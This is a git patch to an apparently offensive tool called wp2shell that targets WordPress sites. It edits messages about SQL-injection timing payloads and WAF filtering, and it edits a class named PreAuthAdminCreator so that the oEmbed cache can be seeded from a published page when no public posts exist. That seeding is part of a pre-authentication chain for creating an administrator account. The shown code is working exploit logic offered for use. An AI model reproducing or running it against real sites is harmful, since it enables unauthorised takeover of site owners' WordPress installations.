From 6813beb38aedae210425abc01809c09ec8134508 Mon Sep 17 00:00:00 2001 From: Icex0 <99045665+Icex0@users.noreply.github.com> Date: Sat, 18 Jul 2026 21:00:04 +0200 Subject: [PATCH] Fall back to a page for oEmbed seeding when no posts exist --- wp2shell/cli.py | 2 ++ wp2shell/exploit.py | 30 ++++++++++++++++++++++-------- 2 files changed, 24 insertions(+), 8 deletions(-) diff --git a/wp2shell/cli.py b/wp2shell/cli.py index af5f93e..525e710 100644 --- a/wp2shell/cli.py +++ b/wp2shell/cli.py @@ -154,8 +154,10 @@ def cmd_check(args: argparse.Namespace) -> int: f"SQL timing not confirmed — baseline {result.baseline:.2f}s, injected " f"{result.delayed:.2f}s; route-confusion marker pattern still detected." ) + warn("A WAF or edge rule may be filtering the SQLi payload; the route-confusion bug still looks present.") return 0 bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.") + warn("This may be a patched target, or a WAF/edge rule filtering the SQLi payload.") if any(hint.affected for hint in hints): warn("Version suggests exposure, but the timing payload did not execute or was blocked.") return 2 diff --git a/wp2shell/exploit.py b/wp2shell/exploit.py index f2c5cca..f3fcbf0 100644 --- a/wp2shell/exploit.py +++ b/wp2shell/exploit.py @@ -152,19 +152,33 @@ class PreAuthAdminCreator: return admin_id def _loopback_embed_urls(self, nonce: str) -> List[str]: - post_link = self._first_public_post_link() - split = urllib.parse.urlsplit(post_link) + base_link = self._first_embeddable_link() + split = urllib.parse.urlsplit(base_link) return [ urllib.parse.urlunsplit((split.scheme, split.netloc, split.path, split.query, f"{nonce}{i}")) for i in range(3) ] - def _first_public_post_link(self) -> str: - with self._open_rest("/wp/v2/posts", {"per_page": "1", "_fields": "link"}) as response: - posts = json.loads(response.read()) - if not posts or not posts[0].get("link"): - raise RuntimeError("could not find a public post link for oEmbed seeding") - return posts[0]["link"] + def _first_embeddable_link(self) -> str: + """Return a published, public permalink to seed the oEmbed cache from. + + Any singular public post or page works: rendering ``[embed]`` makes WordPress create + the backing ``oembed_cache`` posts. A default install always qualifies -- ``wp_install_defaults()`` + publishes both the "Hello world!" post and the "Sample Page" -- so this normally hits the + first route; the page fallback covers the rare posts-less site. + """ + for route in ("/wp/v2/posts", "/wp/v2/pages"): + try: + with self._open_rest(route, {"per_page": "1", "_fields": "link"}) as response: + items = json.loads(response.read()) + except urllib.error.HTTPError: + continue # route disabled/restricted -> try the next one + if items and items[0].get("link"): + return items[0]["link"] + raise RuntimeError( + "no public post or page found to seed the oEmbed cache " + "(need at least one published post or page)" + ) def _prime_oembed_posts(self, embed_urls: Iterable[str]) -> None: content = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embed_urls)